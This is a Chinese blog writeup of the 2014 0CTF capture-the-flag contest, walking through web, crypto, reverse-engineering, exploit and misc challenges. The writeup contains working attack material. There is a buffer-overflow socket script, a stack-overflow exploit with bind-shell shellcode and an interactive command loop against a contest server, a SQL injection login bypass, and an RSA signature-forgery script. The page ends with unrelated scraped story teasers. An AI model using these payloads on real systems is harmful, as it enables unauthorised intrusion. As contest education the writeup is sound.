0ops CTF/0CTF writeup

×00 0CTF

『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导,由上海交通大学信息网络安全协会承办,是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日,每天7时至23时,共32小时。』

看官方微博,这个比赛本来是面向上交校内的,就是校外可以做题但是不发奖,后来也给校外发奖了,整体感觉还不错,好多大牛过来刷题了,没有挤进前六名去……不过当做BCTF的一次练手吧,平时都在实验室打酱油,做个比赛还是可以学到不少东西的。写个Blog记录一下过程,题目只做简单描述,具体可以看官方页面http://ctf.0ops.net,要登录才能看到题目,不知道现在还能否注册。

0×01 [Web]Spy

[题]简单的Web题目,总共四关,每一关都要输入数字,并保证输入的数字比服务器给的大。

1. text框最多输入3位数字,服务器随机返回4位数字,这个审查元素改一下maxlength属性就好了;

2. text框最多输入3位数字,服务器随机返回数字,这个改maxlength属性不然过,但是发现服务器偶尔会返回三位数字,这样的话一直提交999,总会过的;

3. 看谁出的数的倒数比较小谁就算赢!输入-1直接过了;

4. 每人给出一个数,然后比谁的数的EVIL值大。啥是EVIL值?就是该数字每位ASCII码的乘积呗,比如’123′这个数,三位数字的ASCII码分别是49, 50, 51乘起来是124950,这个就是123这个数的EVIL值。这个题最多输入6位,服务器的EVIL值很大,不过输入0xFFFF就过了;

0×02 [Crypto]Classic

[题]小丁丁发现自己置身于一个诡异的房间,面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁,似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb

[解]这个比较诡异……通过键盘布局解密:0ops

通过键盘布局解密

0×03 [Misc]IPv4

[题]截止到2014.2.23,亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个?

[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为:

apnic|CN|ipv4|1.2.2.0|256|20110331|assigned

等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态

我用Python解析的,读入每行数据split一下就好了,得到330393088。

0×04 [Exploit]Welcome

[题]在服务器202.120.7.6:32323上运行了一个程序,溢出拿KEY。

[解]IDA分析程序,B函数可以溢出:

char*__cdecl B(){char*result;// eax@1chars;// [sp+1Ch] [bp-40Ch]@1intv2;// [sp+20h] [bp-408h]@1__int16 v3;// [sp+24h] [bp-404h]@1charv4;// [sp+26h] [bp-402h]@1intv5;// [sp+41Ch] [bp-Ch]@1v5=0;memset(&s,0, 1016u);puts("Welcome to 0ops CTF.");fflush(stdout);gets(&s);result=&s;*(_DWORD*)&s=*(_DWORD*)"HelloKitty";v2=*(_DWORD*)&aHellokitty[4];// ov3=*(_WORD*)&aHellokitty[8];// tv4=aHellokitty[10];// \0if(v5)// 覆盖到v5即可// 1016+4+2+1=1023 多覆盖一个byte即可{fd=(int)fopen("./flag.txt","r");__isoc99_fscanf(fd,"%s\n",&s);puts(&s);result=(char*)fflush(stdout);}returnresult;}

开始忘了加\n,郁闷了好久……

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect(('202.120.7.6',32323))printsock.recv(1024)sock.send('a'*1025+'\n')# 一定要有\nprint"send done"printsock.recv(2048)sock.close()

0×05 [Web]System

[题]小丁丁在无意中发现了一个对方的内部登陆系统,可惜他不知道用户名和密码,该怎么办呢?

[解]简单的SQL注入,用户名输入下面的代码即可:

'or 1=1#

0×06 [Crypto]Dict

[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的(Salted),但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾,想要从中找到一些线索。这一次,他捡到了某个员工的备忘小便签:

WORD is a common english word

len(WORD) = 4

md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'

HASH = md5(WORD)

FLAG = 0ops{HASH}

[解]四个字母组成的英语单词,这个直接枚举并比较MD5值就行了,很快就找到了单词join。

0×07 [Crypto]JohnCode

[题]小丁丁伪装成内部员工潜入了邪恶黑客组织,在群邮件中,他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码,陷入了深深的沉思。 你能帮他破解这个囧呆马吗?

eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=

JohnCode加密算法源代码:

importhashlibdefjohncode(msg,key):token=hashlib.md5(key).digest()res=""password="0ops Capture The Flag"forcinmsg:n=ord(c)^0xde^0xad^0xbe^0xefforiinxrange(16):n ^=ord(password[i])^ord(token[i])res +=chr(n)token=hashlib.md5(chr(n)).digest()returnres.encode('base64').encode('rot13')

[解]这个可以直接逆推的,因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key,所以第一位没法解出来,但是题目说了FLAG的格式,所以第一位是0,解密的代码如下:

importhashlibdefgetConstXor():return0xde^0xad^0xbe^0xefdefgetPwdXor():    password="0ops Capture The Flag"res=0foriinxrange(16):        res ^=ord(password[i])returnresdefgetMd5Xor(val):token=hashlib.md5(val).digest()res=0foriinxrange(16):        res ^=ord(token[i])returnresif__name__=="__main__":    ctftext="eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="ciphertext=ctftext.decode("rot13").decode("base64")ctlen=len(ciphertext)constXor=getConstXor()pwdXor=getPwdXor()i=ctlen -1msg=""whilei>=1:        tokenXor=getMd5Xor(ciphertext[i-1])msg=msg +chr(ord(ciphertext[i])^ tokenXor ^ pwdXor ^ constXor)i=i -1# msg = }4660b46c5eb87b6e4b618a2804b40ee4{spomsg=msg[::-1]# msg = ops{4ee04b4082a816b4e6b78be5c64b0664}# 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}

0×08 [Reverse]Waltz

[题]APK逆向分析:http://ctf.0ops.net/attachment/download/EndlessWaltz.zip

[解]解压APK得到classes.dex,然后使用dex2jar得到jar文件,然后使用JD-GUI就可以看Java代码了,就是几个字符串替换和BASE64加解密。

0×09 [Misc]FakeUser

[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯,就在比赛开始前一天,小丁丁突然发现备份似乎被人修改了,似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了,这可怎么办?

注意:此题的FLAG是取 所有虚假账户的ID之和,求MD5,再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}

[解]将SQL文件导入数据库,提示换行符不一致!所有换行符为\r\n的都是假的账户。

0x0A [Exploit]Login

[题]溢出服务器上的一个程序,位于202.120.7.110:55632

[解]getpath函数中,gets可以溢出,最后调用了strdup,这个函数会分配一段空间保存输入的内容,把返回地址覆盖为call eax的地址,那么返回的时候就会执行shellcode了。

char*__cdecl getpath(){chars;// [sp+8h] [bp-25Ch]@1 [604]void*v2;// [sp+260h] [bp-4h]@1unsignedintv3;// [sp+268h] [bp+4h]@1printf("Input Name Please: ");fflush(stdout);gets(&s);// 获取输入v2=(void*)v3;// v3 == 608if((v3&0xB0000000)==0xB0000000)// 覆盖返回地址, 返回地址存入v3{printf("HEHE (%p)\n", v2);_exit(1);}printf("Got Name %s\n",&s);returnstrdup(&s);// 分配空间复制字符串, 返回值指向复制的字符串}

call eax可以随便找一个:

.text:08048A4Bcalleax; __CTOR_LIST__

不过我找了好多Shellcode都不管用……最后找了个开端口的,执行之后nc连接,cat flag.txt即可。

deftestServer():# http://www.shell-storm.org/shellcode/files/shellcode-370.php# port : 5074shellcode=("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+"\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04"+"\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD"+"FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN"+"IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB"+"IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#sock.connect(('192.168.218.129', 55632))sock.connect(('202.120.7.110',55632))printsock.recv(1024)#sock.send('A'*608+'\xB0'*4+'\n')sock.send(shellcode +'\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')print"send done"printsock.recv(2048)printsock.recv(2048)whileTrue:        acmd=raw_input("CMD> ")sock.send(acmd)sock.send(acmd)printsock.recv(2048)time.sleep(0.1)

0x0B [Reverse]HackGate

[题]给定一个setup.exe,求KEY。

[解]setup.exe,是个安装包,要求输入密码才能安装。开始直接调试这个程序,发现根本断不下来,发现创建了子进程,于是调试子进程,发现用了MD5、SHA以及CRC32算法,后来差一下发现是个Inno Setup的安装包,然后我还找到了能够绕过密码直接提取文件的程序(当然找了好几个才发现一个叫做InnoExtractor的程序),于是直接把里面的EXE抠出来了,是g++编译的,我电脑装了还跑不起来,可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下,key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO,我用Google搜的时候,提示我是EL_PSY_CONGROO。

El Psy Congroo在动画《命运石之门》播出之后才火起来的。

冈部伦太郎使用了很久用意义不明的话,能够自我暗示,使自己镇静下来。

不过有时候做这种题,没加密的话很容易偷懒的……(我这样会被鄙视吗?)

0x0C [Web]Signal

[题]绕过网站登陆。

[解]给提示了,这题和数据没关系,和PHP的一些检查方式有关系……审查元素,修改password字段名字(在name字段的值后面加上数组符[]),输入任意密码提交:

Please sign in

Remember me

Sign in

0x0D [Crypto]RSASign

[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名,他就可以得到最高权限啦!幸运的是,小丁丁又一次拿到了它的源码

[解]考察数论相关的知识了。

同余形式:若a % N = A 且 b % N = B,那么有(ab) % N = (AB) % N;

同理对于RSA有:若a^d % N = A 且 b^d % N = B,那么有[(a^d)*(b^d)] % N = (AB) % N;

现在服务器能够返回给定任意数据a,返回a^d % N的值A,如果能拿到0ops(假设转化为数值之和为c)的返回值:c^d % N = C,即拿到C的值就可以拿到KEY了。

a^d % N = A

b^d % N = B

c^d % N = C

分解c,假设c = a*b,那么有(A*B)≡C mod N,计算一下,c刚好能够分解,那么我们就可以从服务器拿回A和B了,如果知道了N,就可以拿到C了。不过对于这个题,拿到AB就已经够了,因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的,大神提供的思路如下:

2^d % N = A

4^d % N = B 即 (2*2)^d % N = B

8^d % N = C 即 (2*2*2)^d % N = C

有M = GCD(A*A-B, A*A*A-C)

注意这里求出的M可能是kN,也就是是N的倍数,如果运气好就是N了,不然要多找几次。

下面是解题代码,会求出N。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211importtimeimportsocketimportstringdefint2str(n):    charset=string.digits+string.lettersp=len(charset)+1s=""whilen:        s=s + charset[n%p-1]n /=preturns[::-1]defstr2int(s):"""

map

'0' =>  1

'1' =>  2

...

'9' =>  10

'a' =>  11

...

'z' =>  36

'A' =>  37

...

'Z' =>  62

"""charset=string.digits+string.lettersp=len(charset)+1r=0forcins :        r=r * p + charset.index(c)+1returnrdefgetFactor():    ops=str2int('0ops')a=b=0foriinrange(2,ops):ifops % i==0:            a,b=i,ops/iprint"%d * %d = %d"%(a,b,ops)breaksa=int2str(a)sb=int2str(b)print"%d --> %s"%(a,sa)print"%d --> %s"%(b,sb)returnsa,sbdefgetAuthKey(s):    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect(('202.120.7.5',38241))sock.recv(2048)time.sleep(0.5)sock.recv(2048)sock.send('1\n')# registersock.recv(2048)time.sleep(0.1)sock.send(s +'\n')sock.recv(2048)authKey=sock.recv(2048)sock.close()print"Username: %s"% sprintauthKeyreturnauthKey.strip()defgetGCD(a,b):ifa")"""

163 * 2153 = 350939

163 --> 1A

2153 --> xa

Username: 1A

21533328170418378084667829333241475137237189840136413341659043482256097510873406

80778085936300557220305925866245746162556818225595325428891118543277776000224693

94153804439920506389342914152518686076142925020261268165134548156640326678913058

32183740222011549816792593422992831392821041521696985409510603614521305240365730

69993107868111616188102944903092890088304093759066757333321808861343015436285431

83423748039157813181828728529338570079483125070881458603012233228629889625998610

77837188029428966569684473488137929071603810228867022108243630344706359935318974

659363579802989602917857042437294261061356335491933174051

Username: xa

25488744768722406399022993210073505421411878358623824552700157019662731668788913

29696762464701716291111290751757383920248775850436486970351641724147165259120289

88289621607449227239688925130507701532735104032594188602562364841462980159493017

96811103500139479056818978083991583831585928689088971640016014467405404108823622

37555222332241091523009935298355178015132729923435885189369662045864007701562485

91622365205822004617452169129111881126526480558419450732992640082382159767752794

22962647696103667805075981389049729228576300327608699296783543259431738187799821

731862053896502779740294350970620551593589183858097468202

authKey[1A] * authKey[xa] =

54885750575693426083919531510934514350135708923403345930121911623724478234602268

27979542454055898817768822046755196649628234154462632065635709315217301905443578

15053213360938990523525651515977264898624869669693382733171731889768054632085639

40081552196281561143501153944763925013800347447018887135453722798415734016750151

92184836862276059791184086691283031159039851810771777962934768576429259231364133

41834110889564427268927559492552852974023169921476230425928104005016422929418070

39593591140411537137125967387946130071547972790632118133896625499729357543308816

65448091364193997682005248870200041504023381016446066909023878970529319079800086

13808551432638083920706237377055192075931504657100138782762634126828570096626000

21740987778485284470130972040488510155441233144261202690270073340308044559909236

88022604483095012235643404016986395825071264788489401081410846239399008256383444

27783542166239774991615310457893021925122329284187579913245305211704054543963112

46617591745725112264275325834238989453825259130717300416524844869106838890002150

13539418987344763704144532367013919237191922725980132605207837102132907895624432

66607899392071332859380943060605852067363066333823230424467584589398587263860042

119105342842310261180736904026302

Username: 1

22162592382709279239675078287209487170257682361511277398481832147372823215451206

29012234993254397116315506291018552849006256580425529369872729697550238374739494

48772829679652923225545207924144536536130669962018422146411134841875616397357134

29568880006878286534623642415790091356045364443763159224635646171861388242085726

97265299606708141770914574335615303479761746656913880214780405285865156974703663

68707812547485603274962190456901154898407556530407582248442240935713344954001743

70460314565217400045829838047916742777893191557151837606275064117735853844147609

312638348348883587842186583304381307199776987787088683213

Username: 3

18555505824880771273727540829711672221676629831658469028977988584440554873780436

45137773386560133644983364637659004337061718305660923166817411197766375793405718

05103029732367220924127309328528302634299493223853139595279355089050203206293974

86840898999244645854695909576241621143659347688557261209638462191011865971149242

79464762884238981766433085461726300411125242999959696850859594687622334871918471

71670809991958427666213019092095767990137873589365923128683417543694089792152878

77150847918268764278582616037769773086098337088950812318405615762304350575303071

079091404763125577831379208432103400658648842256675379806

Username: 7

52482204868424933403557570627260487449813958439686870244092838847494332548446073

45602512803692746763888792435320054869228129209697946733034825577367868675415020

40650190376660294128759355299952166682183127812142558455298025750832300811952889

86463990447494116385230643606657822311838848399664307028247794759330657294253921

87875591907107721872039909705488324146809722005199670346002505042495876768793064

69944991228386536399164224058905493762703168633149946839305007134191114427394941

72485062533747457130652067041438480378568459966504351977884309118621219929633189

06584017724632422879044239426508028014318144849268674008

N =

29610211050329808378232545552699749436594480437122054986865680099884890513872850

75525661987282310273914255054387679145058167010821716155270450004228110100462580

61209364757602907910617119263438600005472312713489338816033264709490529535130190

96378961760344107740968951046321793825376720940083912117401942507142416424502224

52716016867059810410289101671971086362182186474576259372154998140093546592864747

64210175590855355005120986623171403794224031596995562230659609347027503141992475

47770245690981730429515128740909571870394089884652117078715034645606613009469198

724251507254450039197449345504428016016268512178144465269

authKey[0ops] =

13110205844472582078508561586009616010511440950399464874188864349291652777783298

99881232052318532954986646824467063842227828770517196037207171044544695490940912

12423450401458576493793741404979648318705923086553715197114747437125272098839105

53827198360050895608734309931663997144339422020764921090587199992980596843329551

10835974076198749267323036625564956690953923683306767300917098380913656898698173

63407386614802670044895487509786218738456054495098285103711261589674380370321433

35083314522191405782002192706825562995912444112388730499459139167637817864843651

545728753985843329656352477751861819954384211132836924156

You win!

Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}

"""

0x0E [Misc]Game

[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下,然而却被告知你太嫩了,我们先不玩别的先来盘游戏吧,如果赢了我,再来谈技术的问题也不迟啊哈哈哈哈哈。

[解]这个是个取石子游戏,大家应该见过,OJ上面也会常见,虽然我连这个也不会,不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你,你要最后面拿光所有的石子,你就赢了这一个round。

也就是Nimm Game,有k堆石子,两个人轮流从某一堆取任意多的物品,规定每次至少取一个,多者不限。取走最后石子的人获胜。

引入一个概念,平衡状态,又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。

每个玩家都会努力使自己抓完石子之后的局势为平衡,将这个平衡局势留给对方。因此,玩家A能够在初始为非平衡的

游戏中取胜,玩家B能够在初始为平衡的游戏中取胜。

最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0),只要对手总是和我拿走一样多的物品,最后会面对

(0,0...,0)。

奇异局势的判定:

对于一个普通的局势,如何判断其是不是奇异局势?对于一个局势(s1,s2,...sk),对所有石子个数做位的异或运

算,s1^s2^s3^...^sk,如果结果为0,那么局势(s1,s2,...sk)就是奇异局势(平衡),否则就不是(非平衡)。

从二进制位的角度上说,奇异局势时,每一个bit位上1的个数都是偶数。

玩家的策略:

就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后,使得每一个bit位上1的个数

都变为偶数,这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值(如果这个值

比原来的石子数小的话)。

参见:http://blog.csdn.net/ojshilu/article/details/16812173

照着这个思路写了个脚本,但是比较蛋疼的是服务器每次只从一堆石头中取出一个,这样我也只能取出1个,而这样下来就严重拖慢了速度,而服务器最初设置了100个round,我跑了1个多小时才跑完50个round,然后管理员认为100轮太多了,就把服务器端了调整为50轮,于是我又跑了1个小时左右,中午吃完饭回来就返回了key了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56#!/usr/bin/env python# -*- coding:utf-8 -*-importsocketimportsysdefparseInput(s):    idx=s.find("I pick")# 过滤无关数据ifidx!=-1:        s=s[idx:]idx=s.find("There are totally")# 过滤无关数据ifidx!=-1:        s=s[idx:]lines=s.split('\n')res=[]forlinlines:        l=l.strip()data=l.split(': ')iflen(data)==2anddata[0].find("Pile")!=-1:            res.append(int(data[1]))returnresdefpickStone(s):    l=len(s)maxCount=0idx=0foriinrange(0,l):        tmp=0forjinrange(0,l):ifj==i:continuetmp=tmp ^ s[j]iftmp

0x0F [Misc]Girl

[题]图片隐写术

0CTF Misc Girl 图片隐写术

[解]图片无限放大之后会发现右上角有四个小点,这里面隐藏了信息,当然这里全是一堆红色,看起来相当的晃眼!!这里面的像素点存在色差,我们需要对其进行二值化处理。下图是截取的一个图,我给四个小点画了个圈,只是为了方便各位看官辨别。

图片隐写术

大家可以把原图下载下来放大之后,在信息隐藏区域取色就能看到色差(比如QQ截图工具就有取色功能)

正常的背景色RGB是(235,1,2),四个边界点的RGB是(225,0,0),鼠标在区域内移动的时候,有两个RGB值,分别是(235,1,2),(236,1,2),看到了没,(235,1,2)就是背景色的RGB值。

刚开始以为这个是二维码,就把背景色设置为白色(255,255,255),把四个边界点的颜色设置为蓝色(0,0,255),把二维码中的颜色设置为黑色(0,0,0),以为差不多就OK了,谁知道这货不是二维码,是二进制信息。

其实不是二维码

隐藏信息的区域我画了个圈,从图中可以看出,如果白色代表0,黑色代表1,我们转成二进制得到0×30和0x6F,这就是0和o,也就是Flag的前缀0ops了,完善一下代码就有key了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65#!/usr/bin/env python# -*- coding:utf-8 -*-importstringfromPILimportImage"""

# It's not QR code :)

def showQRCode(fpath):

bmp = Image.open(fpath)

pix = bmp.load()

w, h = bmp.size

for x in xrange(0, w):

for y in xrange(0, h):

if pix[x, y] == (235,1,2):

pix[x, y] = (255,255,255)

elif pix[x, y] == (225,0,0):

pix[x, y] = (0, 0, 255)

elif pix[x, y] == (236, 1, 2):

pix[x, y] = (0, 0, 0)

else:

pix[x, y] = (255, 255, 255)

bmp.save(fpath)

"""defgetFlagHex(fpath):    bmp=Image.open(fpath)pix=bmp.load()w,h=bmp.sizec=[]foryinxrange(0,h):forxinxrange(0,w):ifpix[x,y]==(225,0,0):                c.append((x,y))flag=""foryinxrange(c[0][1]+1,c[2][1]):        x=c[0][0]+1foriinxrange(0,4):            ch=0forjinxrange(0,4):                tmp=0ifpix[x+i*4+j,y]==(236,1,2):                    tmp=1ch=(ch<<1)+ tmp            flag=flag +("%x"% ch)bmp.save(fpath)returnflagdefgetFlag(flagHex):    flag=""tmp=0foriinxrange(0,len(flagHex)):        val=string.hexdigits.index(flagHex[i])ifi&1:            flag=flag +chr(tmp*16+ val)tmp=0else:            tmp=valreturnflagif__name__=="__main__":    flagHex=getFlagHex("girl.bmp")flag=getFlag(flagHex)raw_input(flag)

输出flag为:0ops{Never_giving_up!Fighting!!}

0×10 [Exploit]WebServer

[题]在服务器202.120.7.111:44774上运行了一个程序,提供奇怪的web服务,能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密?注意:没有NX以及aslr。提供libc.so.6文件下载。

[解]这个是GOT表覆盖与printf格式化写任意内存漏洞,exploit-exercises上面的format最后一题和这个类似,不过只怪我当时候没有认真做题,这个题就没交了……囧rz,这个题有空再补上吧。

0×11 Rank List

这次的马甲是“栈溢出了”,排第八,被前排的大神挤下来了。我平时一般用另一个马甲,叫Wins0n

0CTF Scoreboard 校外

本文地址:程序人生>>0ops CTF/0CTF writeup

作者:代码疯子(Wins0n)本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

更多3

您可能对下面的文章也感兴趣:

POJ 1321 棋盘问题[DFS]

GZip magic标志0x8B1F

POJ 3278 Catch That Cow[BFS]

POJ 1562 Oil Deposits[DFS]

[HDUSEC CTF]逆向分析彩蛋 Crack Hide

分类:CTF,逆向调试标签:0CTF,0ops,CTF,writeup

评论 (7)Trackbacks (1)发表评论Trackback

flincllck

2014年3月4日21:44 |#1

回复|引用

第二题颠覆了我的三观 [em013]

[回复]

代码疯子回复:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,165评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,720评论 1 298
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,849评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,245评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,596评论 3 288
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,747评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,977评论 2 315
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,708评论 0 204
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,448评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,657评论 2 249
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,141评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,493评论 3 258
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,153评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,108评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,890评论 0 198
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,799评论 2 277
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,685评论 2 272

推荐阅读更多精彩内容